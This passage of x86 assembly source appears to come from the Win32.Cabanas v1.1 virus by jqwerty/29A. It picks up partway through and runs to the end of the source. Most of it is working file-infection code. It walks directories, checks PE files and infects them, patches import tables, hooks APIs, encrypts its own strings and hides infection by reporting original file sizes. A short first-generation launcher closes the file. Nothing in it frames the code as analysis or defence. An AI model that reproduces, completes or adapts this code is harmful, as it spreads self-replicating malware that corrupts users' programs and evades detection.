        or      byte ptr [ebx.SH_Characteristics.hiw.hib - x],0C0h      ;change section flagz
        push    ebp
        mov     eax,[esi.NT_OptionalHeader.OH_CheckSum - MZ_lfanew]     ;calculate special checksum to mark infected filez
        xor     ebp,eax
        add     al,-2Dh
        xor     ebp,0B2FD26A3h xor 0D4000000h
        not     al
        xor     al,ah
        shl     ebp,6
        xor     al,byte ptr [esi.NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew]
        shr     al,2
        shld    eax,ebp,3*8+2
        mov     [esi.NT_FileHeader.FH_TimeDateStamp - MZ_lfanew],eax    ;store checksum value
        pop     eax                     ;get original file size
        mov     cl,65h
        cmp     eax,edi                 ;calculate new file size..
        .if     carry?
        xchg    edi,eax
        .endif
        sub     eax,1 - 65h
        div     ecx
        mul     ecx                     ;use size paddin..
        push    eax

end_Attach:

        popad

needed_ret:

        ret

Attach  endp

Process_Dir:    ;this function receives a pointer to an asciiz string
                ;  containin a path, then it searches filez with an extension
                ;  matchin the list of extensionz, and finaly infects them.
                ;on entry:
                ;  EDI = pointer to pathname
                ;  EAX = size of pathname

        dec     eax
        cmp     eax,7Fh
        jnc     needed_ret      ;if pathname greater than 7Fh characterz, jump
        pushad
        mov     esi,edi
        adc     edi,eax
        cld
        mov     al,'\'          ;add '\' to the pathname if not included
        cmp     [edi-1],al
        jz      Find_Filez
        stosb

Find_Filez:     ;find filez in the specified pathname..

        push    edi
        sub     eax,'\' - '*.*'
        stosd
        call    findfirst       ;find each file "*.*" in the path
        pop     edi
        jz      end_Attach      ;if error, jump
        dec     eax
        push    eax             ;save search handle

Process_File:                   ;a file was found, process it

        push    edi
        lea     esi,[ebx.WFD_szFileName]        ;get filename
        call    Process_File3                   ;process file, infect it

Find_Next:

        pop     edi
        pop     eax
        push    eax
        push    ebx
        push    eax
        call    [ebp + ddFindNextFileA - ebp_num]       ;find next file
        test    eax,eax                                 ;more filez?
        jnz     Process_File                            ;yea, process it, jump

Find_Close:

        call    [ebp + ddFindClose - ebp_num]           ;close search

end_Find:

end_Process_Dir:

        popad
        ret

APICall@n_2:    mov     cl,2            ;call an API and pass two parameterz

APICall@n       proc    ;this function calls an API and passes "n" parameterz
                        ;  as argumentz
                        ;on entry:
                        ;  EAX = API function adress
                        ;  ECX = number of paremeterz

                pushfd
                movzx   edx,cl
                mov     ecx,edx
     push_args: push    dword ptr [esp.(2*Pshd) + 4*edx]        ;push parameter
                loop    push_args
                call    eax                                     ;call API
                popfd
                ret
APICall@n       endp

IGetProcAddressIT:

        pop     edx
        push    eax
        lea     eax,[ebp + vszKernel32 - ebp_num]
        push    eax
        push    edx

GetProcAddressIT proc  ;gets a pointer to an API function from the Import Table
                       ;  (the object inspected is in raw form, i.e. memory-maped)
                       ;on entry:
                       ;  TOS+08h (Arg2): API function name
                       ;  TOS+04h (Arg1): module name
                       ;  TOS+00h (return adress)
                       ;on exit:
                       ;  EAX = RVA pointer to IAT entry
                       ;  EAX = 0, if not found

        pushad

        lea     esi,[ecx.MZ_lfanew]
        mov     ebp,ecx                 ;get KERNEL32 module handle
        add     esi,[esi]               ;get address of PE header + MZ_lfanew
        mov     ecx,[esi.NT_OptionalHeader    \ ;get size of import directory
                        .OH_DirectoryEntries  \
                        .DE_Import            \
                        .DD_Size              \
                        -MZ_lfanew]
        jecxz   End_GetProcAddressIT2   ;if size is zero, no API imported!
        mov     eax,[esi.NT_OptionalHeader    \ ;get address of Import directory
                        .OH_DirectoryEntries  \
                        .DE_Import            \
                        .DD_VirtualAddress    \
                        -MZ_lfanew]
        call    Rva2Raw                 ;find size and raw start of import section
        jecxz   End_GetProcAddressIT
        push    esi
        mov     eax,[esp.(Pshd).Pushad_ebp]
        mov     [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header for l8r use
        x =     IMAGE_SIZEOF_IMPORT_DESCRIPTOR

Get_DLL_Name:   ;scan each import descriptor inside import section to match module name specified

        pop     esi                     ;diference (if any) between start of import table and start of import section
        mov     ecx,[ebx.esi.ID_Name]   ;get RVA pointer to imported module name

End_GetProcAddressIT2:

        jecxz   End_GetProcAddressIT    ;end of import descriptorz?
        sub     ecx,edx                 ;convert RVA pointer to RAW
        cmp     ecx,ebp                 ;check if it points inside section
        jae     End_GetProcAddressIT
        sub     esi,-x
        push    esi                     ;save next import descriptor for later retrieval
        lea     esi,[ebx + ecx]
        mov     edi,[esp.(Pshd).cPushad.Arg1]   ;get module name specified from Arg1

Next_char_from_DLL:     ;do a char by char comparison with module name found inside seccion
                        ;stop when a NULL or a dot '.' is found
        lodsb
        add     al,-'.'
        jz      IT_nup          ;its a dot
        sub     al,-'.'+'a'
        cmp     al, 'z'-'a'+ 1
        jae     no_up
        add     al,-20h         ;convert to upercase
 no_up: sub     al,-'a'
IT_nup: scasb
        jnz     Get_DLL_Name            ;namez dont match, get next import descriptor
        cmp     byte ptr [edi-1],0
        jnz     Next_char_from_DLL

Found_DLL_name: ;we got the import descriptor containin specified module name

        pop     esi
        lea     eax,[edx + esi.ID_ForwarderChain - x]
        add     esi,ebx
        mov     [esp.Pushad_edx],eax            ;store pointer to ForwarderChain field for later use
        mov     [esp.Pushad_esi],esi            ;store pointer to import descriptor for later use
        push    dword ptr [esp.cPushad.Arg2]
        mov     eax,[esp.(Pshd).Pushad_ebp]
        push    dword ptr [eax + K32Mod - ebp_num]
        call    GetProcAddressET                ;scan export table of specified module handle
        xchg    eax,ecx                         ;and get function adress of specified API
        mov     ecx,[esi.ID_FirstThunk - x]     ;This is needed just in case the API function adressez are bound in the IAT
        jecxz   End_GetProcAddressIT            ;if not found then go, this value cant be zero or the IAT wont be patched
        push    eax                             
        call    GetProcAddrIAT                  ;inspect first thunk (which later will be patched by the loader)
        test    eax,eax                         
        jnz     IAT_found                       ;if found then jump (save it and go)
        mov     ecx,[esi.ID_OriginalFirstThunk - x]     ;get original thunk (which later will hold the original unpatched IAT)
        jecxz   End_GetProcAddressIT            ;if not found then go, this value could be zero
        push    eax                             
        call    GetProcAddrIAT                  ;inspect original thunk
        test    eax,eax                         
        jz      IAT_found                       ;jump if not found
        sub     eax,ecx                         ;we got the pointer
        add     eax,[esi.ID_FirstThunk - x]     ;convert it to RVA
        db      6Bh,33h,0C0h    ;imul   esi,[ebx],-0C0h ;i like bizarre thingz =8P
        org     $ - 2

End_GetProcAddressIT:

        db      33h,0C0h ;xor eax,eax   ;error, adress not found

IAT_found:

        mov     [esp.Pushad_eax],eax    ;save IAT entry pointer
        popad
        ret     (2*Pshd)                ;jump and unwind parameterz in stack

findfirst:      ;this function is just a wraper to the FindFistFileA API..

        lea     ebx,[ebp + FindData - ebp_num]
        push    ebx                                     ;args for findfirst
        push    esi                                     ;args for findfirst
        call    [ebp + ddFindFirstFileA - ebp_num]      ;call FindFirstFileA API

end_findfirst:

        inc     eax
        cld
        ret

get_size:       ;this function retrieves the file size and discards
                ;  huge filez, it also sets some parameterz for l8r use
                ;on entry:
                ;  EBX = pointer to WIN32_FIND_DATA structure
                ;on exit:
                ;  EAX = file size
                ;  ESI = pointer to filename
                ;  Carry clear: file ok
                ;  Carry set: file too large

        xor     ecx,ecx
        test    byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
        jnz     get_size_ret                    ;discard directory entriez
        mov     edx,ecx
        cmp     [ebx.WFD_nFileSizeHigh],edx     ;discard huge filez, well if any thaat big (>4GB)
        mov     cl,65h                          ;load size padin value
        lea     esi,[ebp + PathName - ebp_num]  ;get pointer to filename
        mov     eax,[ebx.WFD_nFileSizeLow]      ;get file size
        
get_size_ret:

        ret

GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"
                ;  from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
                ;  the selected API name. This function works for both
                ;  bound and unbound import descriptorz. This function is
                ;  called from inside GetProcAddressIT.
                ;on entry:
                ;  EBX = RAW start pointer of import section
                ;  ECX = RVA pointer to IMAGE_THUNK_ARRAY
                ;  EDX = RVA start pointer of import section
                ;  EDI = pointer selected API function name.
                ;  EBP = RAW size of import section
                ;  TOS+04h (Arg1): real address of API function inside selected
                ;                  module (in case the descriptor is unbound).
                ;  TOS+00h (return adress)
                ;on exit:
                ;  EAX = RVA pointer to IAT entry
                ;  EAX = 0, if not found

        push    ecx
        push    esi
        sub     ecx,edx
        xor     eax,eax
        cmp     ecx,ebp
        jae     IT_not_found
        lea     esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword:

        lodsd                   ;get dword value
        test    eax,eax         ;end of IMAGE_THUNK_DATA array?
        jz      IT_not_found

no_ordinal:

        sub     eax,edx                 ;convert dword to a RAW pointer
        cmp     eax,ebp                 ;dword belongs to an unbound image descriptor?
        jb      IT_search               ;no, jump
        add     eax,edx                 ;yea, we have the API adress itself, reconvert to RVA
        cmp     eax,[esp.(2*Pshd).Arg1] ;API adressez match?
        jmp     IT_found?               ;yea, we found it, jump

IT_search:

        push    esi                             ;image descriptor contains imports by name
        lea     esi,[ebx+eax.IBN_Name]          ;get API name from import descriptor
        mov     edi,[esp.(5*Pshd).cPushad.Arg2] ;get API name selected as a parameter

IT_next_char:   ;find requested API from all imported API namez..

        cmpsb                   ;do APIz match?
        jnz     IT_new_search   ;no, continue searchin

IT_Matched_char:

        cmp     byte ptr [esi-1],0
        jnz     IT_next_char

IT_new_search:

        pop     esi             ;yea, they match, we found it
        
IT_found?:

        jnz     next_thunk_dword
        lea     eax,[edx+esi-4] ;get the pointer to the new IAT entry
        sub     eax,ebx         ;convert it to RVA

IT_not_found:

        pop     esi
        pop     ecx
        ret     (Pshd)

GetProcAddressIT        ENDP

check_PE_file:  ;this function opens, memory-maps a file and checks
                ;  if its a PE file
                ;on entry:
                ;  EBX = pointer to WIN32_FIND_DATA structure
                ;  ESI = pointer to filename
                ;on exit:
                ;  ESI = 0, file already infected or not infectable
                ;  ESI != 0, file not infected

        call    Open&MapFile                    ;open and memory-map the file
        jecxz   end_PE_file
        mov     eax,[ebx.WFD_nFileSizeLow]      ;get file size
        add     eax,-80h
        jnc     Close_File                      ;file too short?

Check_PE_sign:  ;this function checks validity of a PE file.
                ;on entry:
                ;  ECX = base address of memory-maped file
                ;  EBX = pointer to WIN32_FIND_DATA structure
                ;  EAX = host file size - 80h
                ;on exit:
                ;  ESI = 0, file already infected or not infectable
                ;  ESI != 0, file not infected          

        cmp     word ptr [ecx],IMAGE_DOS_SIGNATURE      ;needs MZ signature
        jnz     Close_File
        mov     edi,[ecx.MZ_lfanew]     ;get ptr to new exe format
        cmp     eax,edi                 ;ptr out of range?
        jb      Close_File
        add     edi,ecx
        cmp     dword ptr [edi],IMAGE_NT_SIGNATURE      ;check PE signature
        jnz     Close_File
        cmp     word ptr [edi.NT_FileHeader.FH_Machine], \      ;must be 386+ machine
                IMAGE_FILE_MACHINE_I386
        jnz     Close_File
        mov     eax,dword ptr [edi.NT_FileHeader.FH_Characteristics]
        not     al
        test    ax,IMAGE_FILE_EXECUTABLE_IMAGE or \     ;must have the executable bit but cant be a DLL
                   IMAGE_FILE_DLL
        jnz     Close_File
        
        ;at this point, calculate virus checksum to make sure file is really
        ;infected. If its infected then return original size of host previous
        ;to infection and store it in the WIN32_FIND_DATA structure (stealth).

        mov     eax,[edi.NT_OptionalHeader.OH_CheckSum] ;get checksum field
        push    eax
        sub     al,2Dh          ;calculate virus checksum to make sure file is really infected
        xor     ah,al
        mov     al,[edi.NT_FileHeader.FH_TimeDateStamp.hiw.hib]
        xor     ah,byte ptr [edi.NT_OptionalHeader.OH_CheckSum.hiw]
        and     al,11111100b
        xor     ah,al
        mov     [ebp + uni_or_ansi - ebp_num],ah
        inc     ah
        pop     eax
        jnz     go_esi
        xor     eax,0B2FD26A3h xor 68000000h
        xor     eax,[edi.NT_FileHeader.FH_TimeDateStamp]
        and     eax,03FFFFFFh
        cmp     eax,[ebx.WFD_nFileSizeLow]
        jnc     go_esi
        mov     [ebx.WFD_nFileSizeLow],eax      ;return original file size
go_esi: inc     esi                             ;set "already infected" mark

Close_File:

        call    Close&UnmapFile         ;close and unmaps file

end_PE_file:

        dec     esi
        ret

pop_ebp:                ;get the ebp_num value needed to access variablez thru EBP
        pop     ebp
        if      (ebp_num - m_ebp)
        lea     ebp,[ebp + ebp_num - m_ebp]
        endif
        mov     [ebp + uni_or_ansi - ebp_num],al
        cld

another_ret:

        ret

Process_File2:  ;this function checks the file size, retrieves some key API
                ;  adressez from inside the import table and infects the file.
                ;on entry:
                ;  EBX = pointer to WIN32_FIND_DATA structure
                ;  ESI = pointer to filename

        call    get_size
        jnz     another_ret             ;if file size too short, jump
        cmp     eax,4000000h - 10*1024
        jnc     another_ret             ;if file size too large (>64MB), jump
        div     ecx                     ;check infection thru size paddin
        dec     edx
        js      another_ret             ;already infected, jump
        call    check_PE_file           ;open file, check PE signature and close file
        jnz     another_ret             ;not valid PE file, jump
        inc     byte ptr [ebp + uni_or_ansi - ebp_num]  ;double-check file
        jz      another_ret                             ;discard if infected

Bless:  ;this function prepares the host file for infection: blank file
        ;  atributez, open and map file in r/w mode, retrieves RVA pointerz
        ;  to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call
        ;  the "Attach" function to infect the file and finaly restore
        ;  date/time stamp and attributez

        push    esi
        lea     esi,[ebp + PathName - ebp_num]  ;get pointer to filename
        push    esi
        call    [ebp + ddSetFileAttributesA - ebp_num]  ;blank file atributez
        xchg    ecx,eax
        jecxz   another_ret     ;if error, jump, if disk is write-protected for example
        push    esi
        mov     edi,virtual_end - code_start    ;calculate buffer size needed for infection
        add     edi,[ebx.WFD_nFileSizeLow]      ;add to original size
        call    Open&MapFileAdj                 ;open and map file in read/write mode
        jecxz   end_Bless2                      ;if any error, if file is locked for example, jump

        lea     eax,[ebp + vszGetModuleHandleA - ebp_num]
        call    IGetProcAddressIT               ;get RVA pointer to GetModuleHandleA API in the import table
        test    esi,esi
        jz      end_Bless3                      ;if KERNEL32 import descriptor not found, dont infect

        x =     IMAGE_SIZEOF_IMPORT_DESCRIPTOR

        mov     [ebp + ptrForwarderChain - ebp_num],edx         ;store RVA pointer to ForwarderChain field from KERNEL32 import descriptor
        mov     edx,[esi.ID_ForwarderChain - x]
        mov     [ebp + ddGetModuleHandleA - ebp_num],eax        ;store RVA pointer to GetModuleHandleA API
        mov     [ebp + ddForwarderChain - ebp_num],edx          ;store actual ForwarderChain field value from KERNEL32 import descriptor
        cdq     ;edx=0
        dec     eax                             ;if RVA pointer to GetModuleHandleA found, jump and store null for GetModulehandleW RVA pointer (not needed)
        jns     StoreHandleW
        lea     eax,[ebp + vszGetModuleHandleW - ebp_num]
        call    IGetProcAddressIT               ;get RVA pointer to GetProcAddress API in the import table
        xchg    eax,edx
        test    edx,edx                         ;if found, jump and store GetModuleHandleW RVA pointer
        jnz     StoreHandleW

        cmp     [esi.ID_TimeDateStamp - x],edx  ;shit, not found, now check if KERNEL32 API adressez are binded
        jz      StoreHandleW
        cmp     edx,[esi.ID_OriginalFirstThunk - x]
        jz      end_Bless3
        mov     [esi.ID_TimeDateStamp - x],edx

StoreHandleW:

        mov     [ebp + ddGetModuleHandleW - ebp_num],edx        ;store RVA pointer to GetModuleHandleW API
        lea     eax,[ebp + vszGetProcAddress - ebp_num]
        call    IGetProcAddressIT                               ;get RVA pointer to GetModuleHandleA API in the import table
        mov     [ebp + ddGetProcAddress - ebp_num],eax          ;store RVA pointer to GetModuleHandleW API if found, store zero if not found anywayz

        call    Attach  ;infect file
                        ;at this point:
                        ;  ECX = host base adress, start of memory-maped file
                        ;  EDI = original file size

end_Bless3:

        call    Close&UnmapFileAdj      ;close, unmap file and restore other setingz if necesary

end_Bless2:

        pop     esi                             ;get pointer to filename
        mov     ecx,[ebx.WFD_dwFileAttributes]  ;get original file atributez
        jecxz   end_Bless1
        push    ecx
        push    esi
        call    [ebp + ddSetFileAttributesA - ebp_num]  ;restore original file atributez

end_Bless1:

end_Process_File2:

        ret

GetProcAddressET proc ;This function is similar to GetProcAddressIT except
                      ;  that it looks for API functions in the export table
                      ;  of a given DLL module. It has the same functionality
                      ;  as the original GetProcAddress API exported from
                      ;  KERNEL32 except that it is able to find API
                      ;  functions exported by ordinal from KERNEL32.
                      ;on entry:
                      ;  TOS+08h (Arg2): pszAPIname (pointer to API name)
                      ;  TOS+04h (Arg1): module handle/base address of module
                      ;  TOS+00h (return adress)
                      ;on exit:
                      ;  ECX = API function address
                      ;  ECX = 0, if not found

        pushad
        @SEH_SetupFrame <jmp Proc_Address_not_found>
        mov     eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1
        mov     ebx,eax
        add     eax,[eax.MZ_lfanew]             ;get address of PE header
        mov     ecx,[eax.NT_OptionalHeader    \ ;get size of Export directory
                        .OH_DirectoryEntries  \
                        .DE_Export            \
                        .DD_Size]
        jecxz   Proc_Address_not_found          ;size is zero, no API exported
        mov     ebp,ebx                         ;get address of Export directory
        add     ebp,[eax.NT_OptionalHeader    \
                        .OH_DirectoryEntries  \
                        .DE_Export            \
                        .DD_VirtualAddress]
ifdef   Ordinal
        mov     eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2
        test    eax,-10000h                     ;check if Arg2 is an ordinal
        jz      Its_API_ordinal
endif

Its_API_name:

        push    ecx
        mov     edx,ebx                         ;get address of exported API namez
        add     edx,[ebp.ED_AddressOfNames]
        mov     ecx,[ebp.ED_NumberOfNames]      ;get number of exported API namez
        xor     eax,eax
        cld

Search_for_API_name:

        mov     esi,ebx                         ;get address of next exported API name
        add     esi,[edx+eax*4]
        mov     edi,[esp.(3*Pshd).cPushad.Arg2] ;get address of requested API name from Arg2

Next_Char_in_API_name:

        cmpsb                           ;find requested API from all exported API namez
        jz      Matched_char_in_API_name
        inc     eax
        loop    Search_for_API_name
        pop     eax

Proc_Address_not_found:

        xor     eax,eax                 ;API not found
        jmp     End_GetProcAddressET

ifdef   Ordinal

Its_API_ordinal:

        sub     eax,[ebp.ED_BaseOrdinal]        ;normalize Ordinal, i.e. convert it to an index
        jmp     Check_Index
endif

Matched_char_in_API_name:

        cmp     byte ptr [esi-1],0              ;end of API name reached ?
        jnz     Next_Char_in_API_name
        pop     ecx
        mov     edx,ebx                         ;get address of exported API ordinalz
        add     edx,[ebp.ED_AddressOfOrdinals]
        movzx   eax,word ptr [edx+eax*2]        ;get index into exported API functionz

Check_Index:

        cmp     eax,[ebp.ED_NumberOfFunctions]  ;check for out of range index
        jae     Proc_Address_not_found
        mov     edx,ebx                         ;get address of exported API functionz
        add     edx,[ebp.ED_AddressOfFunctions]
        add     ebx,[edx+eax*4]         ;get address of requested API function
        mov     eax,ebx
        sub     ebx,ebp                 ;take care of forwarded API functionz
        cmp     ebx,ecx
        jb      Proc_Address_not_found

End_GetProcAddressET:

        mov     [esp.(2*Pshd).Pushad_ecx],eax   ;set requested Proc Address, if found
        @SEH_RemoveFrame
        popad
        jmp     Ret2Pshd

GetProcAddressET endp

goto_GetProcAddressET:

        jmp     GetProcAddressET

MyGetProcAddressK32:    ;this function is simply a wraper to the GetProcAddress
                        ;  API. It retrieves the address of an API function
                        ;  exported from KERNEL32.
                        ;on entry:
                        ;  EBX = KERNEL32 module handle
                        ;  ESI = pszAPIname (pointer to API name)
                        ;on exit:
                        ;  ECX = API function address
                        ;  ECX = 0, if not found

        pop     eax
        push    esi
        push    ebx
        push    eax

MyGetProcAddress proc   ;this function retrieves API adressez from KERNEL32

        mov     ecx,?                   ;this dynamic variable will hold an RVA pointer to the GetProcAddress API in the IAT
ddGetProcAddress = dword ptr $ - 4
        jecxz   goto_GetProcAddressET
        push    esi
        push    ebx
        add     ecx,[ebp + phost_hdr - ebp_num]
        call    [ecx]                           ;call the original GetProcAddress API
        xchg    ecx,eax
        jecxz   goto_GetProcAddressET   ;if error, call my own GetProcAddress function

Ret2Pshd:

        ret     (2*Pshd)

MyGetProcAddress endp

MyGetModuleHandleW:     ;this function retrieves the base address/module handle
                        ;  of KERNEL32 module previosly loaded to memory asumin
                        ;  the GetModuleHandleW API was found in the import
                        ;  table of the host

        mov     ecx,?                   ;this dynamic variable will hold an RVA pointer to the GetModuleHandleW API in the IAT
ddGetModuleHandleW = dword ptr $ - 4
        jmp     MyGetModuleHandle

MyGetModuleHandleA:     ;this function retrieves the base address/module handle
                        ;  of KERNEL32 module previosly loaded to memory asumin
                        ;  the GetModuleHandleA API was found in the import
                        ;  table of the host

        mov     ecx,?                   ;this dynamic variable will hold an RVA pointer to the GetModuleHandleA API in the IAT
ddGetModuleHandleA = dword ptr $ - 4

MyGetModuleHandle proc  ;this function retrieves the base adress of KERNEL32
                        ;on entry:
                        ;  ECX = RVA pointer to GetModuleHandle(A/W) in the IAT
                        ;  TOS+04h (Arg1): pointer to KERNEL32 module name
                        ;  TOS+00h (return adress)
                        ;on exit:
                        ;  Zero flag set = Base adress not found
                        ;  Zero flag clear = Base adress found
                        ;  EAX = KERNEL32 base adress

        sub     eax,eax                         ;set zero flag
        pop     ebx                             ;get return adress
        pop     eax                             ;Arg1
        push    ebx                             ;push return adress
        mov     ebx,[ebp + phost_hdr - ebp_num] ;get actual host base adress
        jecxz   end_MyGetModuleHandle           ;if not valid GetModuleHandle(A/W) RVA, jump
        push    eax
        call    [ebx + ecx]                     ;call GetModuleHandle(A/W) API
 chk_0: inc     eax
        jz      end_MyGetModuleHandle           ;if any error, not found, jump
        dec     eax

end_MyGetModuleHandle:

        ret

MyGetModuleHandleX:     ;this function retrieves the KERNEL32 base adress
                        ;  via an undocumented method. This function procedure
                        ;  doesnt work in Winblowz NT

        mov     eax,[ebx + 12345678h]
ptrForwarderChain = dword ptr $ - 4
        cmp     eax,12345678h
ddForwarderChain = dword ptr $ - 4
        jnz     chk_0
        ret

MyGetModuleHandle endp

get_ebp2:       mov     al,0
                jnc     get_ebp         ;clear carry (unicode version)
                dec     eax             ;clear set (ansi version)

get_ebp:        call    pop_ebp

m_ebp:

v_end:                                  ;virus code ends here

;uninitialized data     ;these variablez will be adressed in memory, but dont waste space in the file

ImportHdr               dd      ?       ;import table RVA of current host
pCodeTable              dd      ?       ;pointer to encrypted chunkz of code    ;these 2 variables may overlap.
                        org     $ - 4                                           ;one is used at instalation stage,
pHandlez                dd      ?       ;pointer to top of Handlez table        ;the other one used when resident.
phost_hdr               dd      ?       ;pointer to actual base adress of host
pcode_start             dd      ?       ;pointer to start of virus code/data in memory
K32Mod                  dd      ?       ;KERNEL32 base adress
ddGetProcAddress2       dd      ?       ;adress where GetProcAddress API will be stored         ;these 2 variables may overlap.
                        org     $ - 4                                                           ;one is used at instalation stage,
pPathNamez              dd      ?       ;pointer to top of PathNamez table                      ;the other one used when resident.
pNewAPIs                dd      ?       ;pointer to new API entry in the jump table
uni_or_ansi             db      ?       ;needed to diferentiate unicode from ansi stringz

FunctionAdressez:       ;this dwordz will hold the API function adressez used by the virus

ddCreateFileA           dd      ?
ddCreateFileW           dd      ?
ddFindClose             dd      ?
ddFindFirstFileA        dd      ?
ddFindFirstFileW        dd      ?
ddFindNextFileA         dd      ?
ddFindNextFileW         dd      ?
ddSetFileAttributesA    dd      ?
ddSetFileAttributesW    dd      ?
ddCloseHandle           dd      ?

ddCreateFileMappingA    dd      ?
ddMapViewOfFile         dd      ?
ddUnmapViewOfFile       dd      ?
ddSetFilePointer        dd      ?
ddSetEndOfFile          dd      ?
ddSetFileTime           dd      ?
ddGetWindowsDirectoryA  dd      ?
ddGetSystemDirectoryA   dd      ?
ddGetCurrentProcess     dd      ?
ddGetModuleFileName     dd      ?
ddWriteProcessMemory    dd      ?
ddWideCharToMultiByte   dd      ?
ddVirtualAlloc          dd      ?

v_stringz:              ;the API namez used by the virus are decrypted here

vszKernel32             db      'KERNEL32',0
vszGetModuleHandleA     db      'GetModuleHandleA',0
vszGetModuleHandleW     db      'GetModuleHandleW',0

Exts                    db      'fxEtcR'        ;list of extensionz to infect
                        db      0

FunctionNamez2:         ;resident API namez, needed for dynamically API hookin

vszGetProcAddress       db      'GetProcAddress',0
vszGetFileAttributesA   db      'GetFileAttributesA',0
vszGetFileAttributesW   db      'GetFileAttributesW',0
vszMoveFileExA          db      'MoveFileExA',0
vszMoveFileExW          db      'MoveFileExW',0
vsz_lopen               db      '_lopen',0
vszCopyFileA            db      'CopyFileA',0
vszCopyFileW            db      'CopyFileW',0
vszOpenFile             db      'OpenFile',0
vszMoveFileA            db      'MoveFileA',0
vszMoveFileW            db      'MoveFileW',0
vszCreateProcessA       db      'CreateProcessA',0
vszCreateProcessW       db      'CreateProcessW',0

FunctionNamez:

vszCreateFileA          db      'CreateFileA',0
vszCreateFileW          db      'CreateFileW',0
vszFindClose            db      'FindClose',0
vszFindFirstFileA       db      'FindFirstFileA',0
vszFindFirstFileW       db      'FindFirstFileW',0
vszFindNextFileA        db      'FindNextFileA',0
vszFindNextFileW        db      'FindNextFileW',0
vszSetFileAttributesA   db      'SetFileAttributesA',0
vszSetFileAttributesW   db      'SetFileAttributesW',0

non_res:                ;non-resident API namez

vszCloseHandle          db      'CloseHandle',0
vszCreateFileMappingA   db      'CreateFileMappingA',0
vszMapViewOfFile        db      'MapViewOfFile',0
vszUnmapViewOfFile      db      'UnmapViewOfFile',0
vszSetFilePointer       db      'SetFilePointer',0
vszSetEndOfFile         db      'SetEndOfFile',0
vszSetFileTime          db      'SetFileTime',0
vszGetWindowsDirectory  db      'GetWindowsDirectoryA',0
vszGetSystemDirectory   db      'GetSystemDirectoryA',0
vszGetCurrentProcess    db      'GetCurrentProcess',0
vszGetModuleFileName    db      'GetModuleFileNameA',0
vszWriteProcessMemory   db      'WriteProcessMemory',0
vszWideCharToMultiByte  db      'WideCharToMultiByte',0
vszVirtualAlloc         db      'VirtualAlloc',0

EndOfFunctionNamez      db      0

szCopyright     db      "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0

                org     (non_res + 1)
v_end2:

NewAPItable     db nAPIS dup (?)

FindData        WIN32_FIND_DATA ?       ;this structure will hold data retrieved trhu FindFirst/Next APIz

PathName        db MAX_PATH dup (?)     ;filenamez will be stored here for infection

virtual_end:    ;end of virus virtual memory space (in PE filez)

Handlez         db nHANDLEZ dup (?)     ;Handlez table

PathNamez       db nPATHNAMEZ dup (?)   ;PathNamez table

virtual_end2:   ;end of virus virtual memory space (in flat memory)

first_generation:   ;this routine will be called only once from the first generation sample,
                    ;it initializes some variables needed by the virus in the first run.
jumps
        push    NULL
        call    GetModuleHandleA
        test    eax,eax
        jz      exit
        xchg    ecx,eax
        call    ref
   ref: pop     ebx

        mov     eax,ebx
        sub     eax,ref - host
        sub     eax,ecx
        sub     eax,[add_1st_val]
        mov     [ebx + code_table - ref],eax

        mov     al,6Ah
        ror     al,1
        xor     al,[xor_2nd_val]
        mov     [ebx + code_table + 6 - ref],al

        mov     eax,ebx
        sub     eax,ref - code_table
        sub     eax,ecx
        neg     eax
        mov     [ebx + delta_host - ref],eax

        mov     [ebx + old_base - ref],ecx

        mov     eax,[ebx + pfnGMH - ref]
        .if     word ptr [eax] == 25FFh         ;jmp [xxxxxxxx]
        mov     eax,[eax + 2]
        .endif
        sub     eax,ecx
        mov     [ebx + ddGetModuleHandleA - ref],eax   ;set GetModuleHandleA RVA pointer

        mov     eax,[ebx + pfnGPA - ref]
        .if     word ptr [eax] == 25FFh         ;jmp [xxxxxxxx]
        mov     eax,[eax + 2]
        .endif
        sub     eax,ecx
        mov     [ebx + ddGetProcAddress - ref],eax     ;set GetProcAddress RVA pointer

        cld                             ;encrypt API stringz
        mov     ecx,ve_string_size              
        lea     esi,[ebx + ve_stringz - ref]
        mov     edi,esi

encrypt_stringz:

        lodsb
        cmp     al,80h  
        lahf            
        xor     al,0B5h
        ror     al,cl
        stosb
        sahf
        .if     zero?
        movsb
        .endif
        dec     ecx
        cmp     ecx,10
        jnz     encrypt_stringz

        mov     ecx,v_end2 - v_stringz
        lea     edi,[ebx + v_stringz - ref]
        mov     al,-1
        rep     stosb

        jmp     v_start

pfnGMH  dd      offset GetModuleHandleA
pfnGPA  dd      offset GetProcAddress

;Host code starts here

extrn   MessageBoxA: proc
extrn   ExitProcess: proc

host:   push    MB_OK                                   ;display message box
        @pushsz "(c) Win32.Cabanas v1.1 by jqwerty/29A"
        @pushsz "First generation sample"
        push    NULL
        call    MessageBoxA

exit:   push    0               ;exit host
        call    ExitProcess

        end     first_generation
